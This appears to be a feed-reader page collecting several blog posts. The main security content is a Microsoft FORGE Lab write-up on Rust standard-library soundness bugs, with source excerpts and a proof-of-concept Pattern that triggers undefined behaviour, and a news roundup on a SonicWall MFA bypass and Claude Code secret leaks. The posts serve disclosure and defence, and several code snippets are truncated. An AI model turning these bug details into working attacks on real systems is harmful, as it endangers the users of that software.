❌

Normal view

There are new articles available, click to refresh the page.
Today — 10 November 2026Training

Plus Sync is here: your collections on every device, with nothing to set up

By: Rod Trent
9 November 2026 at 11:01

Edge Collections is gone. Microsoft retired it, and the pane isn’t coming back. I built Collections Plus so I could keep mine: a small, open, local-first browser extension that brings Collections back and keeps building on it.

When the mobile app arrived in 2.10, I made a promise at the bottom of that post: bring-your-own-Dropbox sync would stay free, and I was working on a second option for people who don’t want to set up cloud storage just to see their collections on their phone.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

That second option is here. It’s called Plus Sync.

Sign in, and you’re synced

Free sync works well, but it asks something of you. You need a Dropbox account, the Dropbox desktop app on each computer, and a few setup steps done in the right order, pointing every device at the same file. If that sounds fine, you’re all set, and nothing changes for you.

If it doesn’t, Plus Sync replaces all of it with a sign-in:

  1. Subscribe on your account page. You can sign in with Google or your email, and you pay on Stripe’s checkout page.

  2. In the extension: choose ⋯ → Sync → Use Plus Sync… and sign in on the page that opens. The tab closes by itself when you’re done.

  3. On your phone or tablet: open the mobile app and choose ⋯ → Use Plus Sync.

That’s the whole setup. There’s no cloud folder to choose and no file to find.

What’s on your devices is kept

The question I’d ask first is: what happens to the collections I already have?

They’re merged. Plus Sync uses the same merging I built for 2.10, so turning it on combines what’s on that device with what’s already in your synced library. Pages added on either side are all kept, and if the same page was edited in two places, the most recent edit wins. Deletes sync too, so something you removed on your phone doesn’t come back from your laptop.

Pictures are handled carefully as well. Each one is stored once and only uploaded if the service doesn’t already have it, so a big library with lots of thumbnails doesn’t get sent again every time you change one note.

How it behaves day to day

  • Your edits go up within a couple of seconds of making them.

  • Your other devices catch up when you open the app or side panel. If one is already open, it checks for changes every couple of minutes.

  • The extension syncs while its side panel is open. A page you save from the right-click menu with the panel closed goes up the next time you open it.

Those timings are deliberate. Checking constantly would keep the database awake around the clock, and that’s most of what the service costs to run. Keeping it quiet is part of how the price can stay low.

Already syncing with Dropbox or a sync file?

You can move over whenever you like, and your collections stay put.

  • On your phone: choose ⋯ → Disconnect Dropbox first. Use Plus Sync appears in the menu once you do.

  • In the extension: just choose Use Plus Sync…. If you’re using a sync file, it asks first, then stops updating that file for you. The file stays where it is.

A device uses one kind of sync at a time, so move all your devices over. A device on Plus Sync won’t see changes from one still using Dropbox or a sync file.

What it costs, and why it costs anything

Plus Sync is $20 a year, billed annually. That includes room for 250 MB of pictures.

For the first time, I’m running a server that holds people’s libraries, and that has real costs. The price covers them and supports ongoing development of Collections Plus. You also get support from a real person when you need it.

It’s annual only because card fees take a big bite out of small monthly charges, and I’d rather that money went into the project.

Cancel any time from your account page. Plus Sync keeps working until the end of the year you’ve paid for. Your synced library is kept until you delete it, so subscribing again picks up where you left off. And the collections on your own devices are never affected.

What’s still free

Everything else. The extension and the mobile app are free and open source. So is syncing through your own Dropbox or a file in your own cloud folder, and that’s staying free. Plus Sync doesn’t unlock any features. The only thing you’re paying for is not having to set up sync yourself.

A straight answer on privacy

Collections Plus has always said your data stays on your devices, and that’s still the default. Nothing leaves your browser for my servers unless you create an account and turn on Plus Sync. If you do, here’s what that means:

  • Your library is stored on the service so your devices can sync: your collections, folders, pages, images, notes, tags, custom fields and auto-file rules. Your settings and AI keys are never uploaded.

  • It’s used only for sync. It isn’t sold, shared, used for advertising or used to train AI, and the service doesn’t read or index it. I’d only access stored data if I needed to keep the service running or you asked me for help.

  • It’s encrypted in transit, but it isn’t end-to-end encrypted. If that matters to you, the free options keep your library out of my hands entirely.

  • You can delete it. Choose Turn off Plus Sync and then delete your synced library, and it’s erased from the service right away.

  • Your card never reaches me. Stripe handles payments.

The privacy policy has the full details.

Get it

👉 Start at getcollectionsplus.com, or read the Plus Sync guide first.

You’ll need version 2.12 or later of the extension, which arrives on its own if you already have it. New here? Install Collections Plus from the Chrome Web Store. It works in Chrome and Edge, and the mobile app installs right from your phone’s browser.

If you try Plus Sync, I’d love to hear how it goes. Tell me what works and what doesn’t on the GitHub repo, or write to support@getcollectionsplus.com. That’s where almost every feature starts.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

The Skills Gap Is Mostly a Lie

By: Rod Trent
9 November 2026 at 08:02

For more than a decade the cybersecurity industry has repeated the same story with almost religious consistency: there is a massive, structural skills gap, millions of unfilled roles, and not enough capable people to close the gap. Boards hear it. CISOs cite it in budget requests. Vendors build entire marketing motions around it. Training companies and certification bodies treat it as settled fact.

The story is mostly wrong. Or, more precisely, it is a convenient misdiagnosis of a problem the industry has largely created for itself.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

The Conditions That Drive People Out

Look at the actual mechanics of how security teams are built and run, and the contradiction becomes obvious.

Job descriptions routinely demand five years of hands-on experience with tools, platforms, or techniques that have existed for three years or less. Cloud-native detection engineering, specific SIEM query languages, particular identity platforms, or the latest AI-assisted investigation workflows appear as hard requirements for mid-level and even “entry-level” roles. These are not rare edge cases. They are the default language of many postings. The result is predictable: capable people who have the aptitude and adjacent experience are filtered out before a human ever sees the resume, while the same small pool of already-experienced practitioners is poached in a zero-sum loop.

Hiring processes compound the problem. Keyword screens and certification checkboxes remain the primary filters even as multiple workforce studies show that technical aptitude, judgment under pressure, and the ability to learn are what actually matter in the job. Certifications demonstrate that someone studied a body of knowledge and passed a test. They do not demonstrate whether that person can prioritize under load, distinguish signal from noise when the environment is novel, or make defensible risk decisions when the playbook ends. Yet many organizations still treat the absence of a specific cert as a disqualifier while treating demonstrated judgment as optional.

Then there is the work itself. Persistent on-call rotations, alert volumes that outpace any reasonable human capacity, and cultures that treat constant availability as a badge of seriousness produce predictable attrition. Multiple recent industry studies put stress and burnout among the top reasons experienced practitioners leave, often ahead of pure compensation. High-performing analysts and engineers do not leave primarily because the salary is low in absolute terms. They leave because the combination of pressure, poor operational design, weak leadership support, and limited career progression makes the compensation feel inadequate relative to the cost. When senior people walk, they take institutional knowledge with them. The open seat that results is then declared unfillable because “there is a skills gap,” and the cycle continues.

Workforce data has been pointing at this for years. When the active cybersecurity workforce grows slowly or flat while the reported gap widens, and when budget constraints, hiring freezes, and retention problems rank higher than pure talent scarcity, the supply-side explanation loses force. Organizations that report no meaningful entry-level pipeline while simultaneously demanding senior-level credentials for junior titles are not victims of an external shortage. They are designing their own shortage.

Why the Narrative Persists

Security leadership keeps recycling the skills-gap story because it is safer than the alternatives.

Acknowledging a shortage of external talent requires no one inside the organization to change how roles are defined, how work is designed, how on-call is structured, or how managers are measured. It converts an internal operational and cultural problem into an external market condition. That conversion is useful in several ways. It supports budget requests for tools and services. It aligns with the commercial interests of vendors who sell training, certifications, and platforms that promise to reduce the need for scarce humans. It gives boards a simple explanation that does not require examining whether the security function is well-led or well-designed. And it avoids the harder conversation about why experienced people keep leaving once they have options.

Fixing the actual conditions is slower, messier, and more politically costly. It requires rewriting job descriptions so they describe the real work instead of an idealized unicorn. It requires hiring managers who can assess aptitude and learning velocity rather than pattern-match against prior titles and cert lists. It requires operational changes that reduce toil and alert fatigue instead of layering more tools onto already overloaded teams. It requires treating retention of mid- and senior-level practitioners as a strategic priority rather than an HR afterthought. None of those steps fit neatly into a quarterly slide that says “talent shortage remains our top risk.”

There is also a quieter incentive. Many organizations have grown accustomed to a market in which they can demand highly specific experience and still expect candidates to accept the package and the conditions on offer. Admitting that the conditions themselves are driving exits forces a recalibration of both expectations and compensation relative to load. That recalibration is uncomfortable for leaders who have optimized for headcount numbers and tool spend while under-investing in how the work actually gets done.

Hire for Aptitude. Train. Fix the Work.

The organizations that are closing real capability gaps are not waiting for a mythical larger pool of fully formed experts. They are hiring for demonstrated aptitude, systems thinking, and the capacity to learn under pressure, then investing in targeted training and realistic onboarding. They are designing roles that have a plausible path from adjacent experience rather than requiring the finished product on day one. They are measuring managers on team sustainability and knowledge retention, not solely on closed tickets and tool adoption. They are treating on-call design, alert volume, and career progression as operational security controls rather than soft issues.

None of this eliminates the need for deep expertise in specialized areas. It does reject the idea that the primary constraint is an absolute shortage of people capable of acquiring that expertise. The constraint is more often the refusal to create the conditions under which capable people stay long enough, and new people are given a realistic chance, to develop it.

The skills-gap narrative has been durable because it externalizes responsibility. The harder discussion is that much of the shortage is downstream of how security work is defined, staffed, compensated relative to its actual demands, and led. Until leadership is willing to treat retention failures and unrealistic requirements as first-order problems rather than background noise, the industry will continue to report a talent crisis while systematically creating the conditions that produce one. The people who already have the judgment and the scars are not primarily leaving because they cannot be found. They are leaving because too many organizations still prefer the story to the work of fixing the workplace.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

FORGE Lab uses agentic tools to identify memory safety issues in Rust

Microsoft’s FORGE Lab found several memory safety issues in Rust’s standard library (std and core), including cases where code written entirely in safe Rust can trigger undefined behavior. The research used Hyenas, FORGE’s frontier research version of codename MDASH, an AI-powered vulnerability-scanning system. The findings reveal three recurring patterns of misplaced trust in unsafe code: trusting code not to panic, trusting user-provided implementations to be correct, and trusting the underlying system.

Rust’s safety guarantees are precisely what make these findings interesting. Its rich type system and ownership model rule out whole classes of memory-safety issues, but much of the standard library relies on unsafe code underneath its safe APIs. When that code breaks its safety contract, even safe Rust can encounter behavior the language is designed to prevent.

Rust’s memory-safety guarantees are increasingly important as the language becomes part of software that billions of people rely on every day. Billions of people are estimated to interact with Rust-based software or operating systems daily, often without knowing it. Microsoft made Rust a Tier-1 internal language alongside C++, C#, and TypeScript, GitHub rewrote the Copilot agent runtime in Rust, and Bun, Android, the Linux kernel, and Cloudflare are moving code to it as well. Much of this software relies on Rust’s foundational libraries, core and std, and the safety guarantees of the APIs they provide. Bugs in those libraries can have consequences well beyond the code where they originate.

Unsafe Rust has been a long-running interest for us. Our team includes the people behind Rudra, a static analyzer that looked for memory-safety bugs across the Rust ecosystem in 2021. We also write many of our own tools in Rust, so its safety is more than a research topic for us. This year, we took a closer look at the standard library to see what kinds of mistakes still show up in its unsafe code today.

In this post, we share some of the bugs we reported to the Rust issue tracker. We use them to discuss what Rust does and doesn’t guarantee, why writing correct unsafe Rust is so difficult, and why Rust’s safety model still matters even though its memory safety isn’t perfect.

How we found and validated the bugs

At Microsoft FORGE Lab, we study vulnerabilities in complex software, including the Rust standard library. Our team combines years of experience in vulnerability research with AI-assisted tools that help us investigate code and find bugs that are difficult to uncover through traditional analysis alone.

Some of the bugs in this post were found with help from Hyenas, our research version of codename MDASH. Our researchers investigated the underlying code, reproduced the bugs, assessed their potential security impact, and worked with Rust maintainers to report and fix them.

This post focuses on soundness bugs in the standard library’s unsafe code. Bugs in the compiler itself, such as miscompilations and holes in the type system, are a different topic that we don’t cover here.

A note on open issues

At publication, two of the issues reported by our team remain open. The article also references related issues reported by others and fixes that are still under review. The Rust maintainers triaged and responded to our reports quickly, and we believe maintainers and the contributors working on these issues are doing their best and making the right tradeoffs among the many bugs they handle.

If you’re interested in an open issue, please comment only when you have something genuinely new to contribute, such as new information or an affected real-world use case.

Patterns of Rust’s Safety Bugs

At the lowest level, Rust uses unsafe blocks to work with raw pointers and interact directly with the operating system. Much of the standard library, including Vec and String, is built from small unsafe pieces wrapped in safe APIs. Inside an unsafe block, the programmer takes responsibility for the guarantees the compiler can’t check, and that responsibility extends to the safe API built around it. That API must be sound: no matter how safe code uses it, it must be impossible to trigger undefined behavior.

Upholding that promise is harder than it looks. Consider a function that returns the byte at idx from any type that can be viewed as a byte slice, skipping the redundant bounds check after doing its own:

pub fn get>(s: &S, idx: usize) -> Option {
    if idx 

The hard part of unsafe Rust is knowing what you can trust. The function above looks correct, but it assumes that two calls to as_ref return the same slice. Because S is chosen by the caller, a safe AsRef implementation can return a long slice the first time and an empty one the second, and get reads out of bounds. Unsafe code must be careful with every call it makes, and the bugs we found fall into three patterns of misplaced trust: trusting code not to panic, trusting user-provided implementations to be correct, and trusting the underlying system.

Pattern 1: Trusting code not to panic

Unsafe code often breaks an invariant for a moment and restores it afterward; for example, it may allocate an uninitialized buffer and fill it directly, avoiding redundant writes to zero the memory first. That’s fine as long as the function runs to the end. But many operations in Rust can panic, from out-of-bounds indexing to calls into user-provided code, and by default a panic unwinds: it leaves the function early while still running destructors. Unwinding inside that window becomes an invisible exit that exposes the broken invariant to code that trusts it. Bugs of this kind are called panic safety bugs.

Figure 1 — Panic Safety.

MapWindows::clone (issue #156501)

We identified a panic safety issue in MapWindows::clone. The nightly API Iterator::map_windows yields overlapping windows of N items. It keeps the current window in a Buffer whose destructor drops the N items starting at start. In Rust 1.97.0, library/core/src/iter/adapters/map_windows.rs defines it as:

struct Buffer {
    // Invariant: `self.buffer[self.start..self.start + N]` is initialized,
    // with all other elements being uninitialized. This also
    // implies that `self.start ; N]; 2],
    start: usize,
}

Buffer::clone, in the same file, built the new buffer first and filled it afterward:

impl Clone for Buffer {
    fn clone(&self) -> Self {
        let mut buffer = Buffer {
            buffer: [[const { MaybeUninit::uninit() }; N], [const { MaybeUninit::uninit() }; N]],
            start: self.start,
        };
        buffer.as_uninit_array_mut().write(self.as_array_ref().clone());
        buffer
    }
}

After buffer is constructed, it breaks its own invariant: its slots are uninitialized, but its destructor is already armed. The self.as_array_ref().clone() call runs the user's T::clone before the slots are written. If that call panics, unwinding drops buffer and runs drop_in_place on N uninitialized values. Our proof of concept uses only safe code: an element type whose clone always panics, which causes a crash when the destructor accesses uninitialized memory. The fix holds the new buffer in ManuallyDrop until it is fully written, so unwinding leaks the half-built buffer instead of dropping it.

The general lesson is to treat every call to code you don’t control, such as clone, drop, comparisons, closures, and iterator methods, as a possible early exit. Either finish the work that may panic before breaking an invariant, or make the broken state safe to unwind through: hold it in ManuallyDrop, or use a guard whose destructor restores the invariant, like Vec’s internal SetLenOnDrop. The Rustonomicon covers this under exception safety.

Allocators must not unwind

The recently stabilized Allocator API shows how hard panic safety is to get right. With std, an allocation failure aborts the process by default instead of unwinding, so much of the standard library's unsafe code assumes allocation never unwinds. Custom allocators can break that assumption. While the API was being stabilized, we reported one place in BTreeMap::insert that becomes unsound when an allocator unwinds, and others reported more (#159334, #159368, #159370). Fixing them one by one would mean auditing everything that allocates, so the stabilization, shipping in Rust 1.100 on November 12, instead requires implementors never to unwind from the trait's methods or from drop. The proposal notes that "unwinding out of many allocation-related methods was found to be a pervasive source of unsoundness."

Pattern 2: Trusting user-provided implementations to be correct

Unsafe code often calls into code its caller provides: a comparator, a trait implementation, a closure. That code is safe, but safe doesn’t mean correct, and it can return inconsistent or plainly wrong answers. The question is who is responsible when it does. In C++, it’s the caller. std::sort requires its comparator to be a strict weak ordering, and breaking that rule is undefined behavior. With libstdc++, sorting equal elements with <= reads past the end of the vector:

std::vector v(100, 42);
// Bug: `

The same comparator passed to Rust's sort_by is only a logic error. The sort may panic or leave the slice in an unspecified order, but it never causes undefined behavior. The responsibility sits with the unsafe code. The comparator is safe code supplied by the caller, so the unsafe code inside the sort must stay sound no matter what it returns. The same goes for every safe trait a user can implement: comparisons can be inconsistent, an ExactSizeIterator can report a length that doesn't match the items it yields, and Borrow can return a different value on each call.

str::replace with a custom Pattern (#156491)

Another of our bug reports shows how easy this trust is to miss: str::replace with a custom Pattern can create a non-UTF-8 String. String search APIs accept any type that implements the nightly Pattern trait, and a pattern can describe itself through as_utf8_pattern. str::replace uses that description to take a fast path when replacing one ASCII byte with another. In Rust 1.96.0, the fast path in library/alloc/src/str.rs looked like this:

pub fn replace(&self, from: P, to: &str) -> String {
    // Fast path for replacing a single ASCII character with another.
    if let Some(from_byte) = match from.as_utf8_pattern() {
        Some(Utf8Pattern::StringPattern([from_byte])) => Some(*from_byte),
        Some(Utf8Pattern::CharPattern(c)) => c.as_ascii().map(|ascii_char| ascii_char.to_u8()),
        _ => None,
    } {
        if let [to_byte] = to.as_bytes() {
            return unsafe { replace_ascii(self.as_bytes(), from_byte, *to_byte) };
        }
    }

replace_ascii, in the same file, then rewrites the bytes:

unsafe fn replace_ascii(utf8_bytes: &[u8], from: u8, to: u8) -> String {
    let result: Vec = utf8_bytes.iter().map(|b| if *b == from { to } else { *b }).collect();
    // SAFETY: We replaced ascii with ascii on valid utf8 strings.
    unsafe { String::from_utf8_unchecked(result) }
}

The CharPattern branch checks that the character is ASCII, but the StringPattern branch assumes a one-byte string pattern must be ASCII. That holds for &str patterns, but StringPattern stored &[u8], and as_utf8_pattern is a safe method any Pattern can implement. In our proof of concept, a custom pattern reports the single byte 0x80, which only appears inside multibyte UTF-8 sequences:

impl Pattern for NonAsciiBytePattern {
    // ...
    fn as_utf8_pattern(&self) -> Option> {
        static NEEDLE: [u8; 1] = [0x80];
        Some(Utf8Pattern::StringPattern(&NEEDLE))
    }
}

// "\u{d000}" is [ed, 80, 80]; the result is [ed, 3f, 3f], which is not UTF-8.
let corrupted = "\u{d000}".replace(NonAsciiBytePattern, "?");

str::replace rewrites the continuation bytes and returns a String that isn't valid UTF-8, and later string operations that rely on UTF-8 reach undefined behavior. The fix changed StringPattern to hold &str instead of &[u8], so the type itself now guarantees UTF-8.

When unsafe code depends on a property of a user-provided implementation, don’t take it on faith. Call the implementation once and keep the result, validate what it returns, or encode the property in a type that safe code can’t forge, as this fix did. If none of those work, make the trait unsafe so implementors explicitly promise to uphold it.

More examples

join shows how easy it is to fix this kind of bug only partway. In 2020, we reported that it trusted Borrow::borrow to return the same string on each call (CVE-2020-36323), and the fix handled strings that shrink between calls. In April 2026, the same function needed another fix: join borrows the first element twice, and if it grows on the second call, the remaining-length calculation underflows into a heap overflow. The earlier fix had never covered that path.

Others reported similar problems in the Pattern API this year. A safe Pattern can hand back a valid searcher built for a different string, and consumers such as strip_prefix_of apply its ranges to the original string unchecked, reading out of bounds (#158265). The same problem turned up in split_once (#165076) after a report that the Searcher contract doesn't spell out what str::split relies on (#164904). Both bugs are still open.

Pattern 3: Trusting the underlying system

The first two patterns stay inside Rust code. The third sits at the boundary with the operating system, where unsafe code trusts process-wide state such as signal stacks, memory mappings, and the environment, which other threads, C libraries, or the kernel can touch at any time. These bugs have been hard to find automatically, because a static analyzer would need to model all of that surrounding behavior. AI agents change the picture: they understand enough about the environment the code runs in to make this area practical to search. We started exploring it and found some interesting bugs.

process::exit and the main thread’s signal stack (#161018)

When a thread overflows its stack, Rust prints a clear message and aborts instead of crashing with a bare segmentation fault:

thread 'main' (3307186) has overflowed its stack
fatal runtime error: stack overflow, aborting

This relies on a few pieces of process-wide state. Each thread’s stack ends in a guard page, an inaccessible region just past the stack’s limit: pthread reserves one for every spawned thread, and on Linux the kernel’s own stack guard plays that role for the main thread. Touching it raises SIGSEGV, and Rust registers a handler for that signal. The handler can’t run on the stack that just overflowed, so Rust also gives each thread an alternate signal stack, a small separate mapping with a guard page of its own, which the kernel switches to when it delivers the signal. The handler checks that the faulting address is inside the guard page, prints the message, and aborts.

Figure 2 — Stack Overflow.

We found that calling process::exit from a child thread tears down the main thread’s alternate stack while the main thread is still running. process::exit runs the runtime’s cleanup before calling libc’s exit, and in Rust 1.98.0 that cleanup ends in library/std/src/sys/pal/unix/stack_overflow.rs:

pub unsafe fn cleanup() {
    if cfg!(panic = "immediate-abort") {
        return;
    }
    // FIXME: I probably cause more bugs than I'm worth!
    // see https://github.com/rust-lang/rust/issues/111272
    unsafe { drop_handler(MAIN_ALTSTACK.load(Ordering::Relaxed)) };
}

The cleanup function passes MAIN_ALTSTACK, the main thread’s alternate stack, to drop_handler:

// SAFETY: we warned the caller this disables the alternate signal stack!
unsafe { sigaltstack(&disabling_stack, ptr::null_mut()) };
// SAFETY: We know from `get_stackp` that the alternate stack we installed is part of
// a mapping that started one page earlier, so walk back a page and unmap from there.
unsafe { munmap(data.sub(page_size), sigstack_size + page_size) };

The call to sigaltstack disables the alternate stack of the calling thread, but the subsequent call to munmap unmaps the main thread’s. The code assumes it runs on the main thread, which isn’t true when a child thread calls process::exit. The main thread keeps running until libc’s exit finishes, with its signal stack registration still pointing at unmapped memory. If it overflows its stack in that window, the kernel can’t deliver the signal, and our proof of concept dies with a plain segmentation fault instead of Rust’s message. The bug dates back to 2015, and the fix stops cleaning up the main thread’s alternate stack altogether.

We also checked whether this could become a security issue. In theory, it could lead to code execution: if a writable mapping landed at the old alternate stack’s address, the kernel would deliver the main thread’s next signal onto it, and another thread could overwrite the handler’s frame, such as its return address, while it runs. In practice, the conditions are very tight. Everything has to happen in the brief window before libc’s exit finishes, the new mapping must have exactly the right size to reuse that address, and overwriting the frame takes a second race inside a short handler. For issue #161018, our testing found no reliable exploitation path under the conditions examined, and we assessed practical exploitation as unlikely. This assessment does not automatically apply to the other issues discussed. The issue has more details in its security impact analysis.

CommandExt::exec and the global environment (#156951)

Our other report involves the process environment. On Unix, CommandExt::exec replaces the current process with a new program. When the command has its own environment variables, exec points the process-global environ at a new array, calls execvp, and restores environ if execvp fails. In Rust 1.99.0, Command::exec takes the environment lock in library/std/src/sys/process/unix/unix.rs:

let _lock = sys::env::env_read_lock();

let Err(e) = self.do_exec(theirs, envp.as_ref());

Command::do_exec, in the same file, then swaps the environment:

    _reset = Some(Reset(*sys::env::environ()));
    *sys::env::environ() = envp.as_ptr();
}

libc::execvp(self.get_program_cstr().as_ptr(), self.get_argv().as_ptr());
Err(io::Error::last_os_error())

Command::exec takes only the read side of the environment lock, yet do_exec writes the process-global environ. Before the write, do_exec saves the old value so it can be restored if execvp fails. Writing environ under a read lock lets other threads in. A thread calling env::var takes the same read lock and can see variables meant only for the new program, and two failed exec calls racing each other can leave environ pointing at a freed array that a later env::vars_os() reads. Both proofs of concept use only safe Rust. A 2018 fix held an exclusive lock here, but when the environment lock became a read-write lock in 2021, exec kept the read side. A fix that avoids touching environ by calling execve directly is in review.

The environment has caused trouble before. After a discussion that began in 2015, the 2024 edition marked env::set_var as unsafe, because C functions on most Unix platforms read the environment without going through Rust's lock.

process::exit and thread-local destructors (#164243)

Getting this boundary right is hard, and more problems are still open. While exploring this area, we independently ran into a double free in safe code that process::exit can cause through thread-local destructors. It was reported by someone else (#164243), but it’s worth mentioning here. libc’s exit first runs the calling thread’s thread-local destructors, as C++ requires, and Rust registers its destructors the same way. If a destructor calls process::exit while a thread local is being replaced, libc drops that thread local a second time. A proposed fix switches process::exit to POSIX _exit, which ends the process without running these handlers.

Why Rust still matters and advancing vulnerability discovery with AI

Every unsafe block rests on assumptions about the code around it. The bugs in this post came from three kinds of misplaced trust:

  • that code won't panic at the wrong moment,
  • that a caller-provided implementation behaves correctly, and
  • that the process-wide state Rust shares with the operating system and the C library stays the way the code expects.

Familiar patterns are still difficult (Patterns 1 and 2)

The first two patterns are well studied. Rudra looked for both in 2021, and the standard library was already fixing panic safety bugs in 2015 (CVE-2015-20001). They remain challenging to avoid because any call inside unsafe code might unwind or run code the caller supplied.

What we saw this year was mixed. On the positive side, the nightly process is working. Many reports were caught while the affected APIs were still unstable, and several were fixed by changing the design before stabilization. StringPattern now holds &str instead of &[u8], and Allocator was stabilized with a rule that implementors must not unwind. At the same time, bugs in these patterns still reach stable releases, and their fixes aren't always complete. join was fixed in 2020 and needed another fix in 2026 for a path the first fix had missed.

System boundary bugs are now within reach (Pattern 3)

The third pattern is different. Its bugs live where Rust meets the layers below it: the kernel, through system calls such as sigaltstack and munmap, and the C library, through process-wide state such as environ and the cleanup that libc's exit runs. Getting them right takes knowledge that lives outside Rust's type system, which has made these bugs difficult to find with traditional static analysis. That may also be why they last so long. The process::exit signal stack bug was in the standard library for nearly 11 years, and exec has written environ under a read lock since 2021. Unlike our reports in the first two patterns, both affect stable Rust.

Language models already know a great deal about how these interfaces behave, so agentic scanners can check unsafe code against the system it runs on, not just the language. We think this boundary is one of the most promising places for agentic security research, in Rust and beyond.

Rust's high bar is hard to meet but worth keeping

Rust holds its safe APIs to a stricter standard than C and C++. Safe code must never be able to cause undefined behavior, no matter how it uses an API. In C++, a comparator that breaks std::sort's ordering requirement causes undefined behavior, while Rust's sort must stay memory-safe with any Ord implementation. POSIX doesn't guarantee that setenv is safe to call while another thread reads the environment. That makes memory safety bugs in Rust hard to compare one-to-one with bugs in other languages.

For the same reason, a soundness bug in the standard library isn't automatically a vulnerability in the programs that use it. Each bug in this post needs an unusual setup to trigger, such as a panic at exactly the wrong moment, a deliberately misbehaving implementation, or calling process::exit from a child thread. It becomes a serious vulnerability only if a real program reaches the API in that way.

Rust's safety standard is strict and difficult to meet, but it's also useful. It gives an unambiguous answer to what counts as a soundness bug, so problems can be fixed and prevented once in the library, instead of in every program that uses it. Rust's safety model strikes the right balance between control, safety, and performance for systems programming, which is why so many projects choose it.

Beyond the lab

At Microsoft FORGE Lab, we're exploring how technology such as codename MDASH can help researchers find bugs like the ones in this post at greater scale. Rust's standard library is one of several foundational open source projects where we're applying this approach.

This research also extends beyond the lab. It helps inform the development of codename MDASH, which brings agentic vulnerability discovery into Microsoft Defender. These findings can also serve as inputs to Microsoft Perception, our new multi-agent security system, where specialized agents work together across broader security workflows. For example, the Web App Pen Test Agent can use codename MDASH findings to help prioritize testing, validate exploitability against live applications, and produce actionable vulnerabilities that downstream agents can use to prioritize and support remediation. This connects AI-powered code analysis with real-world security validation and response, helping security teams move from identifying potential vulnerabilities to understanding and addressing actual risk.

Our goal isn’t to simply find more bugs, it's to identify meaningful issues, turn those findings into actionable research, and improve the safety of foundational software that developers and organizations depend on.

The post FORGE Lab uses agentic tools to identify memory safety issues in Rust appeared first on Microsoft Security Blog.

Yesterday — 9 November 2026Training

Security Check-in Quick Hits: SonicWall VPN MFA Bypass, Claude Code Secret Spills, Gnosis Pay Card Exposure & Who Gives A Crap Vendor Breach

By: Rod Trent
8 November 2026 at 14:01

SonicWall SSLVPN SAML/MFA Bypass Under Active Exploitation (CVE-2026-19868)

SonicWall has patched a high-severity authentication enforcement flaw in the SonicOS SSLVPN service (CVE-2026-19868, CVSS 7.5). The vulnerability allows a user holding valid credentials for an alternate (non-SAML) authentication method to bypass SAML controls—including SAML-enforced multi-factor authentication—on Gen7 firewalls running 7.3.3-7015 or older and Gen8 devices on 8.2.2-8015 or older, when SAML is enabled for SSL VPN logins.

CISA added the CVE to its Known Exploited Vulnerabilities catalog on November 6, 2026, with a federal agency remediation deadline of November 20. SonicWall’s PSIRT confirmed it investigated a report of potential in-the-wild exploitation. Fixed builds are SonicOS 7.3.4-7013 (or later) for Gen7 and 8.2.3-8015 (or later) for Gen8; no workarounds exist.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

Organizations should immediately inventory exposed SSL VPN portals, apply the patches, and review authentication logs for anomalous alternate-method logins that skipped expected MFA.

Claude Code “Don’t Ask Again” Approvals Leaking Secrets to Public GitHub

Apiiro researchers found that Anthropic’s Claude Code coding agent stores full shell commands—including embedded passwords, API keys, and tokens—in .claude/settings.local.json when users select “Yes, and don’t ask again.” Of 104,185 public copies of the file on GitHub, 1,122 contained at least one real secret (1,379 distinct secrets). Expanding the search to git history, shared settings, and transcripts raised the total to 2,539 secrets across 1,994 repositories affecting roughly 63 organizations.

Claude Code attempts to exclude the file via the user’s global git excludes, but this protection is machine-local, does not cover already-tracked files, and can be bypassed by subsequent repository operations. One notified company confirmed its exposed key was still live. Standard scanners (gitleaks, TruffleHog) missed a portion of the secrets.

Developers should immediately search repositories and history for .claude/settings.local.json (and related files), rotate every credential ever stored in them, and ensure the file is properly gitignored at the project level.

Gnosis Pay Legacy Card System Breach Exposes Card Data and Linked Wallets

Gnosis Pay disclosed unauthorized access to the legacy system powering its own-branded consumer cards, detected on November 3, 2026. Containment began within two hours; affected credentials were replaced and the vulnerability addressed. The company’s enterprise/white-label platform was unaffected, and customer funds were not touched. The consumer system was already scheduled for retirement on December 20.

Customer notifications list exposed data including full card numbers (with CVV and expiration), home addresses, and every linked cryptocurrency wallet address. Gnosis Pay has made 3D Secure mandatory for all online card payments until shutdown and increased fraud monitoring. The number of affected customers has not been publicly disclosed; one customer (Rotki founder Lefteris Karapetsas) publicly shared that his personal details and wallets were listed.

Affected cardholders should monitor statements, enable available alerts, and beware of highly targeted phishing that references accurate personal or wallet details.

Who Gives A Crap Customers Hit by Third-Party Marketing Software Breach

Australian toilet-paper brand Who Gives A Crap notified customers that a US-based marketing software provider suffered unauthorized access affecting data from its Australian, UK, and US online stores. The provider reported the intrusion began on October 30, was identified on October 31, and was secured on November 1; the company was informed on November 6 and began customer emails on November 7.

Exposed information includes first and last names, email addresses, phone numbers, mailing addresses, and total amount spent with the company. Payment details, order history, and passwords were not involved; customer accounts themselves were not directly accessed. Canadian customer data was unaffected. The company has disconnected the vendor, rotated credentials, and is engaging with regulators. It does not yet know whether data was copied or downloaded and reports no evidence of misuse so far.

Customers should watch for phishing or social-engineering attempts that leverage the exposed contact and spend data and verify any unexpected communications claiming to be from the brand.

These four items dominated recent coverage across security news aggregators, vendor advisories, and researcher reports in the last day. Patch the SonicWall devices, audit Claude Code repositories, and treat the two data exposures as elevated phishing risks.

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

One Phone, One Television, One Argument

By: Rod Trent
8 November 2026 at 12:01

The phone sat on the kitchen wall, its cord long enough to reach the table if you stood just right and didn’t trip anyone. The television lived in the living room, one set, one remote (or, earlier, one stubborn channel knob that required standing up). Everything else—the arguments, the waiting, the sudden silences when the line went dead or the screen went dark—happened in the spaces between those two objects.

We didn’t call it scarcity. We called it “the phone is busy” and “what are we watching?”

Rod’s Blog is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.

